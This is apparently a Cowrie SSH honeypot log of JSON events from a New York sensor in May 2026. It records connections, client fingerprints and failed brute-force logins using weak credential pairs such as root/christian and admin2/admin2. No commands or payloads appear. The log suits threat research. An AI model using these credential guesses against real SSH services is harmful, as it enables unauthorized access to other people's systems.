{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:05.676024Z","src_ip":"103.75.199.4","session":"61a661a7cb57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es","message":"login attempt [es/es] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:05.963136Z","src_ip":"103.75.199.4","session":"61a661a7cb57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.196.237","src_port":40642,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e21cf75dbd6","protocol":"ssh","message":"New connection: 154.83.196.237:40642 (159.203.135.109:22) [session: 4e21cf75dbd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:06.220291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:06.224859Z","src_ip":"154.83.196.237","session":"4e21cf75dbd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:06.339024Z","src_ip":"154.83.196.237","session":"4e21cf75dbd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"christian","message":"login attempt [root/christian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:06.826704Z","src_ip":"154.83.196.237","session":"4e21cf75dbd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:07.063430Z","src_ip":"103.75.199.4","session":"61a661a7cb57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:07.944014Z","src_ip":"154.83.196.237","session":"4e21cf75dbd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":33740,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1837aefe847","protocol":"ssh","message":"New connection: 43.163.119.215:33740 (10.17.0.5:22) [session: c1837aefe847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:22.092024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:22.099411Z","src_ip":"43.163.119.215","session":"c1837aefe847","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:22.342158Z","src_ip":"43.163.119.215","session":"c1837aefe847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:23.514572Z","src_ip":"43.163.119.215","session":"c1837aefe847","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:24.921443Z","src_ip":"43.163.119.215","session":"c1837aefe847","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.37.143","src_port":54938,"dst_ip":"10.17.0.5","dst_port":22,"session":"97f0f6845354","protocol":"ssh","message":"New connection: 78.40.37.143:54938 (10.17.0.5:22) [session: 97f0f6845354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:25.828383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:25.833133Z","src_ip":"78.40.37.143","session":"97f0f6845354","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:25.913383Z","src_ip":"78.40.37.143","session":"97f0f6845354","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:26.265831Z","src_ip":"78.40.37.143","session":"97f0f6845354","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:27.349057Z","src_ip":"78.40.37.143","session":"97f0f6845354","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":57108,"dst_ip":"159.203.135.109","dst_port":22,"session":"18bedc879e78","protocol":"ssh","message":"New connection: 103.75.199.4:57108 (159.203.135.109:22) [session: 18bedc879e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:27.485693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:27.492476Z","src_ip":"103.75.199.4","session":"18bedc879e78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:27.587133Z","src_ip":"103.75.199.4","session":"18bedc879e78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:27.872835Z","src_ip":"103.75.199.4","session":"18bedc879e78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":35572,"dst_ip":"10.17.0.5","dst_port":22,"session":"afa6eef50532","protocol":"ssh","message":"New connection: 43.163.119.215:35572 (10.17.0.5:22) [session: afa6eef50532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:28.519049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:28.523570Z","src_ip":"43.163.119.215","session":"afa6eef50532","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:28.769897Z","src_ip":"43.163.119.215","session":"afa6eef50532","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:28.970783Z","src_ip":"103.75.199.4","session":"18bedc879e78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:29.555552Z","src_ip":"43.163.119.215","session":"afa6eef50532","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:30.804075Z","src_ip":"43.163.119.215","session":"afa6eef50532","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":43496,"dst_ip":"10.17.0.5","dst_port":22,"session":"f78faa36b570","protocol":"ssh","message":"New connection: 43.163.119.215:43496 (10.17.0.5:22) [session: f78faa36b570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:35.364715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:35.372898Z","src_ip":"43.163.119.215","session":"f78faa36b570","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:35.611459Z","src_ip":"43.163.119.215","session":"f78faa36b570","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"123456","message":"login attempt [amir/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:36.369671Z","src_ip":"43.163.119.215","session":"f78faa36b570","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:37.610507Z","src_ip":"43.163.119.215","session":"f78faa36b570","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.243.147.237","src_port":38890,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4f30cd6e7b0","protocol":"ssh","message":"New connection: 162.243.147.237:38890 (159.203.135.109:22) [session: b4f30cd6e7b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:40.498981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:40.503762Z","src_ip":"162.243.147.237","session":"b4f30cd6e7b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:40.580400Z","src_ip":"162.243.147.237","session":"b4f30cd6e7b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"carcass","message":"login attempt [root/carcass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:40.917458Z","src_ip":"162.243.147.237","session":"b4f30cd6e7b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:41.997847Z","src_ip":"162.243.147.237","session":"b4f30cd6e7b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":43504,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d226941b472","protocol":"ssh","message":"New connection: 43.163.119.215:43504 (10.17.0.5:22) [session: 5d226941b472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:42.918408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:42.927880Z","src_ip":"43.163.119.215","session":"5d226941b472","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:43.165162Z","src_ip":"43.163.119.215","session":"5d226941b472","protocol":"ssh"}
